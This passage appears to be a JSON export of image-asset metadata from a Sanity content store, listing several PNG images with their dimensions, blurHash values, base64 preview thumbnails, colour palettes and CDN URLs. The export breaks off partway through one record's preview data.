{"_createdAt":"2022-06-15T20:02:11Z","_id":"image-8619c10626c6875fb0cac5749cc5d1c0df493545-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEcqjd","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:38Z","assetId":"8619c10626c6875fb0cac5749cc5d1c0df493545","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOPs*T-:?FE4xuTgsjIpofxs~9IUIVxuj=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACTElEQVQokTXLSWsTUQAA4Pmn4l08ehAPKmJBpIj1YKtdhNrFtFJKEkv3dIldtE2XJLMns7335i0z894smUmTRkSE7/pJEU8hYp5HoE8RDgBiyA+CMOVxIf6L4jwSRSiKgBeRyIXIeVwwcScBSG+b2sVls3Hdvm5qV7dqs224gNEgZWEW8V7Acx0VR1peU7JTLVbdGOAE0swihUSoMLtQ1R1VczTD1U3PtBBAEaaxT2PIcg33y83+m93e+z3x7TT8cRXtt+OmkzqkJ3GR0yBFRLiAWQ52AUNEYJZiImwYnneSUqP3rpa83Y6+HLOvdTJZC2fronKTHOuZJOKChZlPYscluuF0ugDA0POTlh2fyKR6AT7ve5Pb1lrd2DxRlnZbc5vyl5o3cxyuXAgpEAUNMkwThLkLAhcwgELNEZs3fLkOVvZuSxtHy+tbC9+r86vVhdXyylq5und22DCVjitZtEA0I0H6F0swFT6O5C4r/yafdpzxxcNX4x+fvv7waGz+ycT6zHKltlVVGvXAad1RXTJQDnBCaEypYDRkmHZttHPpTe+4E1XrxVz94bOpB8/nH0+dvSwpqzXZ0JSMGANmjlhHIn7o2wDaDgWuQI4AHVk2SgedxV2jcqRNbyhjS+ezlV/Vn8r6iXXQsLBn34f2/b/cwzAwFaS3QkfNfb3va9RSVFmzdMU1lct250oxoSVTW3ZNFXW1nq+NiDYi6ijoSoMkygO/x7wiBEMO7rk35O6Ae0MB+hymHBYCDmMwEHDA4VCAewFG3B1xMErJH7NbN7qPNv59AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#595b5b","foreground":"#fff","population":0.8,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043884","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#595b5b","foreground":"#fff","population":0.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8bca8","foreground":"#000","population":0.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cccfc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa605c","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1298f6","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8619c10626c6875fb0cac5749cc5d1c0df493545-1567x844.png","path":"images/sczeoy4w/production/8619c10626c6875fb0cac5749cc5d1c0df493545-1567x844.png","sha1hash":"8619c10626c6875fb0cac5749cc5d1c0df493545","size":245059,"uploadId":"XlEXJmDeUZk4dZFERIkyLNQJ5YxU6mSk","url":"https://cdn.sanity.io/images/sczeoy4w/production/8619c10626c6875fb0cac5749cc5d1c0df493545-1567x844.png"} {"_createdAt":"2022-06-15T20:02:13Z","_id":"image-e207804cdf0061fd0a2a55d5e69481b12ec04a80-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRri6Jn","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:10Z","assetId":"e207804cdf0061fd0a2a55d5e69481b12ec04a80","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MKQl,$py=]NHXAGwVsf9tQs8^%I9EM%2aw","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC4ElEQVQokVXGW2/TZhgAYP/P3e4X7JbuJE2aipi0VrsYrKMaFaDSJIUAXZKGsq0VW8jRceLEZ3z2d7KT2ClJad53ane1i0d6JMuJvpjq7r46ccpT3T0yrLCkm35JM7xbN/dDXqI8L1Fe/A8Tt44Yn5cZE79xSr6W1Kmz1+2r+t+tQdpqy6zXV3mnN+btjnKrN1C5aYc8oQvOxJJT/h/CC07ZnHOeMc6FEIzZgtKy5Pr0sWlHTDM81HQPDSu4pZs+TnUPhyMdZUVDwwoxiDOMyQLDOMUgpJjEBAVJME0CzGJ/npG4KVFe7FFeRITlSFi+ISyHG5QXEMUpdHsKvD6pQ71xBu9afejLKvQHMsiyDOZUBab3N/mwjrnSSBfepCExsXzIxDJhYolMFJCwAvwkx5Dk6Ecp9voKVquv8PBZCUulCh5XnmO5dITV6gu8eNtE8/wYRONHLM52s6V+0ZAYz58wnlPGF8j5HBIyAyeYoellaLoCVc3HxvkIK7UWNt+c45uTKpYPHuDTRw/xeaWMF7+XQH+5i6J+N/uo1k8lzmeHgmcsZSmmTGwEZUBjCkFAwHUJDKYE9psM7tcItGQPrME/IL/6FS4qe9CsHMB55QHoL+7h7Gwnu9LqTSmj9DAjhGYkwRmJNwsSwoIEME98mEUeTDQf9k8p7NUpdJUQ7EEHnNovENd2wK/tgvf6h03658+4Hh6n1x/eNaSFaz5LHZ2zDzpmgYVF7OAysfEytvBjbGDqGThVLVRHJoaWjq78Ht3mPuZvd3D1/hGulCp+Mv7AjduaQdA5lQqt/5MYd3rRpOdyZ2wvI91ZxbqziqbOOprY62hsrIORtgoU7dJT9JnZ0eZKQ1uNT7Rr+y9t47c1CLo2BB0Z/M6BdOkony0s+avMHt7NvfH2Kppsr6PJ9lU03r4KR99/CoffXofy1pU/2Lp0B1+uvP7Wtd+7A8GN7h0IOlvot79Dv/0N+O3P/wXOqPPUNrS90QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c44","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f3f05","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f57c0f","foreground":"#fff","population":2.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#94a3c0","foreground":"#000","population":0.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc66c","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#957b61","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f57c0f","foreground":"#fff","population":2.53,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e207804cdf0061fd0a2a55d5e69481b12ec04a80-1567x844.png","path":"images/sczeoy4w/production/e207804cdf0061fd0a2a55d5e69481b12ec04a80-1567x844.png","sha1hash":"e207804cdf0061fd0a2a55d5e69481b12ec04a80","size":258126,"uploadId":"vwJQDCT9KOue4w4dpmYwXsilRe1jHaHR","url":"https://cdn.sanity.io/images/sczeoy4w/production/e207804cdf0061fd0a2a55d5e69481b12ec04a80-1567x844.png"} {"_createdAt":"2022-06-15T20:02:13Z","_id":"image-b6d12b82ca6d2e3e6bd2fb2fc5dbd3b08e5037f6-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEczVq","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:13Z","assetId":"b6d12b82ca6d2e3e6bd2fb2fc5dbd3b08e5037f6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MWQ+yox^tnMcWVGwniaKW-xuwaW.NHxFoz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADDUlEQVQokT3MzW/bdBjAcR/5Q/hnOACXckJckOA0LhxASEwgEEipdhhope2EqKBs1RY3kaCwKqvStcvSxHac98TxS1y/xIl/L7HT2F2bl+dBu3D4Hj6Xr+B49HPLDvY03TnUdCc7MFxxoLuibnqi4xExpHOR8lRklGdHZi3fLD0pqC/2j+32SY74ZnZComxAk8MJS34nLLkr6Kb3W7Ot65LcmlalJpWVNpPkFlPUDtNNj03IFeNRyiI2YT31Bf9z70G09/CnqHicZVq3xnSf0G6Q8P44GRqTJCe4PhUtO+ADw8OB4f6fYfro+gwJSzCKr3E2JdiUz3B3+2fc2f4FC8dHKCkyqoaL7WCO9SBNzi6TC4Gw5ClhCSFkhiGZrUM6h5AlQNgcKEuAR9cwjVMIJwSajRrkc4eQz+ehVCrBebkKpUZ/3R9F2Byns2fWvCJQOnvKxpQyz0fmecDGBCm9QspTZNMU41mKYUhRVRt4fnaO5XIZJUlCRVGwWquj1LOg7XHsjKJYdfipwIe6yE2NcbOP3OgDN3pvxkhJjIwyjFmARr+Bjx/t487OLj5/foLtdgdNw4RgFOAkJBCEIYaTIIombkGI1OIRH7Q4tw3klgZTrQ7ToQZ87EI0NiAa9aB5UYCte9/DD19/Adm9XWgUn8G4eQGvRyYsozEsuIdLakXrUCsIcb14NNVbfDrUMBr21jOrA7PLDsy9JqR+HeauCtbLAyhs3YF/Nj8CafcOOAdfQvzXj7Co5gH87hroAGHcimBULwhXWi037auc6Q2M7S5e+3288Rt465Rw6ZZwOTzFpLKNTPwY2f67GD9+H5ODD/BW/AxXL/9AGFYRgvoN+EoPPPlX4bVW3YrbJZV0y87MUoYLv2GvfcVeO+c2XJ7aYJ/Y0Hpkr4pfXS5yG95t9r1gkfvEXRXu2dD61wZHGoAvn4Anfwu+8o6wsi4+vNFffZMarzZv7UoGPDmDnpwBr5pB740rGbgsZdb1/c3l358+WDzZeLg6/u4+1I8yYFcy6Ct3wVc20FfeBl956z83++ldRC8nYQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#39344c","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b4b08","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ed9111","foreground":"#000","population":0.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ddbec1","foreground":"#000","population":0.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ee6f6","foreground":"#000","population":0.15,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b46094","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed9111","foreground":"#000","population":0.52,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b6d12b82ca6d2e3e6bd2fb2fc5dbd3b08e5037f6-1567x844.png","path":"images/sczeoy4w/production/b6d12b82ca6d2e3e6bd2fb2fc5dbd3b08e5037f6-1567x844.png","sha1hash":"b6d12b82ca6d2e3e6bd2fb2fc5dbd3b08e5037f6","size":341940,"uploadId":"wuGXTjDPDehDwLDapRbLAto8nNNZXTNh","url":"https://cdn.sanity.io/images/sczeoy4w/production/b6d12b82ca6d2e3e6bd2fb2fc5dbd3b08e5037f6-1567x844.png"} {"_createdAt":"2022-06-15T20:02:14Z","_id":"image-3e2b9505385eec6d24773a7e8685a6e55c234ee5-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRri6hh","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:17Z","assetId":"3e2b9505385eec6d24773a7e8685a6e55c234ee5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQQJAp?wsj9d^iKRWYf*skof-pI9SQ%1Io","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC+UlEQVQokSXM3U/bZhTHcf+fu95Nbya2i3ZLVrSyTYFpgk0UtA0KZXRSIGXa1I2KrqKldKwLeXVMbMfxa/zYfl7sOHEChOaciezio/PV7+JIph18rHe8LVV3DvSOt68bXknVndLtNUx/5ra7Fin5RJQYCfZZr/eLT5JtL8geBVH2mPJsj4nsMePD+5Kq2Zu1hqqXK3JcqV2war3NyxWZV6oKv+1avc3Pqy1eb+rcNizOm694cPYbbZ43wpNaHJaVLLTslEd+aAlP+V1yPbbftQLRMXpodH00TB9ve6b7/9YxPDRMgkS9wOD5OpY37+GTjU1c3jnDjZKMZ6cNJPLJsN968laiPCtSnlHKM6Q8m1KeAeVDiNgQ6MxgJiR9oHIDrIMV2C98BJ/dvQd3PnkAn84Xpod76xj++1N/VF95LTGRFZkYMSZGyEQGTGTIxBA5H8wInqKgKUZeAkRWUT58Cjtr38P9+QWYm5uDhdwdeLOXw7RSSK+bi28kxodFxoeMzR6kwHkfBUtQMIEx4xhThiLgyFyOTtvGV0fHuLG5g8srq7hY+BJ3H94F40UOr2pf9Cfy0rHEeb8oeMJiFmPMxDRhDBJKoU9DSGkASUiAeQSYE0CnbcPTP9/B+lYJ1n54BGurK/Cy+DXQv7/FcfPH5Er79YWUUFpMoogmUYj9KJimkQ+DqAfDyIMsdGBAbOCODcy0QWm6sP3Mhm92q7C89Rw2tn6G8uH2NCr/gbF8Go+M6pE0cIy92NIFs3VMel3MAgtHoYnjoIuXQQcviY4jX8PM1dBTu/jsmOB3Bz4+PFDx8OgUzfJbDBptpC0jHZutv6RMq60K5bxK2lWHW4oxIrp+GejaFVG1a9LWJkTRJqSl3fiyNnYVzbrQjZN/HOvknWmbrZYVaxcWa7ueUB352pZ3pbElfzDoNuYTs7k0cJWFS6J+fk3auQlR8hO/lb/xm/n3fiM/9Ws58Kv59736g7EnF8auvDRx64uXVmsp7ZjLqdH96satf/gf0nrpB79uILsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#35374a","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#59491b","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eb7b1a","foreground":"#fff","population":1.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dfc1cd","foreground":"#000","population":1.02,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdc61","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab664e","foreground":"#fff","population":0.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb7b1a","foreground":"#fff","population":1.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3e2b9505385eec6d24773a7e8685a6e55c234ee5-1567x844.png","path":"images/sczeoy4w/production/3e2b9505385eec6d24773a7e8685a6e55c234ee5-1567x844.png","sha1hash":"3e2b9505385eec6d24773a7e8685a6e55c234ee5","size":360920,"uploadId":"j6bUFKWIt9O0HfMEJzVXuQ0KfmX7IDAy","url":"https://cdn.sanity.io/images/sczeoy4w/production/3e2b9505385eec6d24773a7e8685a6e55c234ee5-1567x844.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-989cb50654951f7c58598245a167a828e370d0b4-980x606-png","_rev":"QRl2cGoCgj0FlAhkRrhVMl","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:31Z","assetId":"989cb50654951f7c58598245a167a828e370d0b4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VTPs*L}q%jGbyC-=NHRhxGjJ?cI@Vr#RVtInt7xbNGWn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6171617161716172,"height":606,"width":980},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACdUlEQVQokTXSzWsTQRQA8PwjLXhSi1JBQU8i9eBfoAcVFEQFP061jRZE9FCLILVpS4NSSkWFYq2lHyJtLSkhSU1tTUw/kk1Km2x2s7vzPbMzSbYX3TTCOwzM/OY93nsBrjyAuekgw0aGBQ0LGDYyHWQ6uAJwBZCyDcsWKFvAtFEFkMYtBkRw5QV8THjZAoYFTdvHpv8OmDb0vYMNG/m4AgwbWpA0/kUO5kzWA6J6QEQVEAGpwBhhfQvnIjgfRWYBU4aZxEyiRkAqAZOA+gfCFZeej7nymKwxVedId9feyqmrcuaW2JwSDHLlceWJqkelV3DcFQ0tZWFKZw6vCXUQoG6NiCpiLuaKWpq7GJSDR2T4BI8P2PZeFpRTZj4LSvsQz6atexNb18f/DEb2NIv7mRsFu4i6RChm5dyFLhlqkSPHWKw/U9wYSX0OrrwOrX+IFXfGEsWLg8lTffHgdDZTpj62IAGEU6G4qglbk4vdKtSqwm08/ia+G30Y6T0/ee320tNvheTYarEjtNb+Mhaczm0aTCgvUAHYQQxRQYSkzcytMtzGYv3RfOTu8otzE1duLjyezSVGE/sdoWR7X6z7azajUy7rAUgF8lvq4iZ+JAda5MjxQ3xn+fnZics3FoIzWmI0vn9hIHmyN9Y1dYgbc/ZD1v1u23n3R48cPirfneaJofhu9MH/sucLyfGfpUvDv868SvTMaFsG95dEVA8Op0VlnUKD//4o5u6L7510ez6jb4bTk0+i/UMbn1b17OKO9WxO6/yy/T6h79qiuSRN7NYIE9TRcTGNSxkKTYuSnFNOGVrWLpmUlqBIF/H6HsxbDLDqP/wXXPNRgWxNaeEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#696c6e","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#226ca4","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f48c11","foreground":"#000","population":9.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6c4b0","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc5c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c9c6c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f48c11","foreground":"#000","population":9.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"989cb50654951f7c58598245a167a828e370d0b4-980x606.png","path":"images/sczeoy4w/production/989cb50654951f7c58598245a167a828e370d0b4-980x606.png","sha1hash":"989cb50654951f7c58598245a167a828e370d0b4","size":11605,"uploadId":"7gf6GhSgSvp2ZBdyEiv02jJpylZDd9Qp","url":"https://cdn.sanity.io/images/sczeoy4w/production/989cb50654951f7c58598245a167a828e370d0b4-980x606.png"} {"_createdAt":"2022-06-30T11:51:36Z","_id":"image-87eb128e6af0e08eca0f231b8b39a2d7e93f950b-400x300-png","_rev":"cEPH2uRN58AU2lp9QO7kIT","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:25Z","assetId":"87eb128e6af0e08eca0f231b8b39a2d7e93f950b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VYP7La^+?HkC-:~Wf69ZWBWB?HNGNGoLayE1WB-poeoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":300,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAACc0lEQVQokX3S309SYRgHcP8ZK7Mbs4vmuqnlRVturS70otnWVW2hrdQta21B02xlSzbnj3GG6EKOqCAqiWAQWBnKxMqpCKJw0AMIAue873nPL9oBTFras+fq3T77Ps/7viWCIEAIU6kUTdMsy3InN0IszaAMZGjEIBYJglAiiiJCiKZpCCHHccLJtU+BeX/Y6PV9DxJJij7EjIQBADzPZ48rMdfrZOLZpKumZ7zdshCIJY+SAQAQQkEQ/oO94didQXOpXCUbsa3txv8aG0DIF2EJiFIX43qNufSFSoYfYp7nJZxL5gVBzBXieOIgs0LENshEBqL8oTccrddMF/BeDsNcUblkxHEUw6YgIg4yw0trD3TWl+avS9t7oWR6J5l2+YnbA9OnijFFURDC/M7RNGX37Ri9PvOvreeTroo2dU3PWN+8t8vu6bQt9s+v1GKm03LsCHMcV9gZgJ/haPO4/UbveOuEU4ZbyxWqaiX+1OS81j165b2uxeC41W8sK8bFF+YORuow01kFdnfo4z2t5ZwCq1aONBscVW+1Fa80DSNzN//FLMtKucdjvMXguPRuuPL1UKO+COdvO5vNshwnYQDcW5FalalMXsDlCuyqEm8yOKo6tRUdg1Jyn/GMXCXDrUeY53mGYSCEi8FIvXqqsk19X2tp0FkvtA9c7x59MuG83IVffPPh8Zi9DjOdb1M/0s+t58eW/oAo5l97Yy/eObvQOGzpti/1fvY81M3Kp1yabz9aDZ+a9DaVa7lj5kuDdqbf6QntHxTwH58GcJ0gPYGQn4z7ybgnEFolyO1YYnkr5AnsBMj4aiji9gU3d6M0I/2c35VU3tbMmQAVAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c6f7e","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04718c","foreground":"#fff","population":0.84,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#147494","foreground":"#fff","population":13.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1c1c6","foreground":"#000","population":0.68,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ace4f2","foreground":"#000","population":0.17,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e7887","foreground":"#fff","population":0.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#147494","foreground":"#fff","population":13.53,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"87eb128e6af0e08eca0f231b8b39a2d7e93f950b-400x300.png","path":"images/sczeoy4w/production/87eb128e6af0e08eca0f231b8b39a2d7e93f950b-400x300.png","sha1hash":"87eb128e6af0e08eca0f231b8b39a2d7e93f950b","size":2890,"uploadId":"uR4IEItiCPu1cJW9DkvkV8VKlAQWnI92","url":"https://cdn.sanity.io/images/sczeoy4w/production/87eb128e6af0e08eca0f231b8b39a2d7e93f950b-400x300.png"} {"_createdAt":"2022-06-15T20:02:41Z","_id":"image-304d1c1f13d60bad985e31ec81fef813806f40be-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdxET","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:20Z","assetId":"304d1c1f13d60bad985e31ec81fef813806f40be","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MWQI}F*0s:9t%2KmWUVrocoz?GI9S4xuRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADCUlEQVQokU3P3U/bZhgFcP9x+wd2vYvdTOOiK9LSaZrKVpRpH2JZNzplVbcAoaV8ODWj69JCQ9o5oSQUQxJSQrAdx47tfPh9X9sJsVtamueZQKvUi5/OuTyH01tOpKG1k6pmr8qKeU9t2EK76wmEBQJ1w4t8v3d6vmCYjtBuEYG0XYE6g3vM6a+ynjfPiH+VOzzSZgs7ZSX/bNf7N1ek+a1ddvBCYbrRY51enxEWXKBuyOyOx4rPy+zvB+tsWywwSzYY1SzqHKmeW5PV/rF6h3tRa6SeFfZcMVfEp2Lhwta2hOVKHQ3TQcKCC9QNsX6s4/KKgPH478jfuY1HuSfYkXZRzeXRyGT9waPHac4wyYrSsIismigr5qguG1CrN0FWTbA7HhAWAD1HBlAsSBCLXYdoNAo/X4uAGP8CuuuJ0fHGKlZSy153NpnhCAt4wgL6/xJw6BDfoezcCbrER9ayMbt2HyPjl3FsbAw/+/hDXIh8gObyFWhuJLCYmvfL83NPOOqGPHVDen6JuiFQN0DmDpGxAbrUR48yHHTaSPb3MH3rJn55+RJGIhH86so43pocw61EBIpLUdxcuuHn1+5ucsQNeOoG9HwNYycjl/bBoy74xIGB04ZhrwVhowqttADC9RhMx2LwZ2IGksk5WPnjF8jGx2Fn9lOsPPjO13bWMhyjA57RPnGphx6hoz7pwoljQ9Az4GVbhtNWCV4fZqEhzMDd2A9w88Y08MtL8M9qCvILv0Jz7tLIT3+OYTnhvWmKGc63zBQzmowYGvq2hmFXw1ddBV93anhm7uPbhohvaw+xJy7i09vT+NfMbyjeX8SDDR6t9SS+EmcQqwKiLvbRlja5oVKNs9p+qVvf173mgXxqH8pn7ao8sssyGEUZ1KwCR2n1tCQoTn5RNXKpprOb1oelh/qbgw19JOeb0HzeAlOqgrW3wL3Uqx8NG+Vrfa30fWiUvzmzyxNglybA2psAY/trOH40iRX+W6zwkyBnomAUfgSjOIX69hS2dqbQkqbAkn4CS4qCJX3yH6nO2V40JZCyAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#544735","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c4908","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f19725","foreground":"#000","population":2.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccbc9c","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eead90","foreground":"#000","population":2.29,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a1668c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f19725","foreground":"#000","population":2.55,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"304d1c1f13d60bad985e31ec81fef813806f40be-1567x844.png","path":"images/sczeoy4w/production/304d1c1f13d60bad985e31ec81fef813806f40be-1567x844.png","sha1hash":"304d1c1f13d60bad985e31ec81fef813806f40be","size":509562,"uploadId":"ev4Haw3IfoPIxcVujOCCLiSTJweKCOgD","url":"https://cdn.sanity.io/images/sczeoy4w/production/304d1c1f13d60bad985e31ec81fef813806f40be-1567x844.png"} {"_createdAt":"2022-06-15T20:02:14Z","_id":"image-c5739fbd6133a70d4ae0312d6bad46fbafa24f91-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO85Kz","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:21Z","assetId":"c5739fbd6133a70d4ae0312d6bad46fbafa24f91","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNP?L7?]OqR~-qL3IBbc$|RktjM^m?sGI-","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADGElEQVQokSWI22/bZBiH/UdyhcSh0rjiAsEkoFIbWGFqgxAINoamsG4RhXZsdXdoKV3UNHGOzjlx4saOY8eHxId8zpfEabam5H1R2cWj5/n9GLVnf9bpWlFZMZ9JHYNtyzorKyarqH2207XY6+/aSvftVnsOO3DGrOfP2KE/Yz0yYx07OOib052BOf2KqdXbkXS2JCe4/CiZ4kmCy5Mkx5NUukgSyRw5jWdIKlMkxbJAypU6aTVbxNJ7xDMNop8PSCM5Itl9Oko/9tXCC59lqvX271y6MDxL5jDB5fHabzuHp4kMxuIcprNFbAkCdpt5NJpnaDfP0CjEkd8r4ZOQgTufuvhyy5lwj5w4o+lORFbMgdQxUO6YS6ljwP9IOrSFHpwXNFB4HeyaCFQ4BlrfBaewC+IJC0f3TuDB5/nl0w0Zy6w50gpmjPHI7L5HgoFHAvRIAN5wCp4xRbcwQeevCdo/jdG5S9E/UDDgD3HWiqJd2cPU4VN8eC+Kd8PbcPI4jgNRphe29ooZ+sED4gc2IVMkZLL0vTGQBkUvStG5SdF5b4TeJxTpoz7Oq2lcWPvYazzB6G93cHV1Fb/ZuAWxlywStUEvHekV4xO64w9H3mjoIx0Ol9TxgLZcGB264G874N+xYRR1YJo0YSZVIOilQMyfwPebt2FlZQVura9D9vgFTuQqXRhCjKGeuzt2HW/s2jhxB8upa0FgmRCoBgRyD4KmBlTogVs/B4PPgBQvQZ6tQGRzG7688QX8cvOHZen+P+g858ejWCHJTPXOHlUlQjQJqaXgzFZx7nTxtdPB17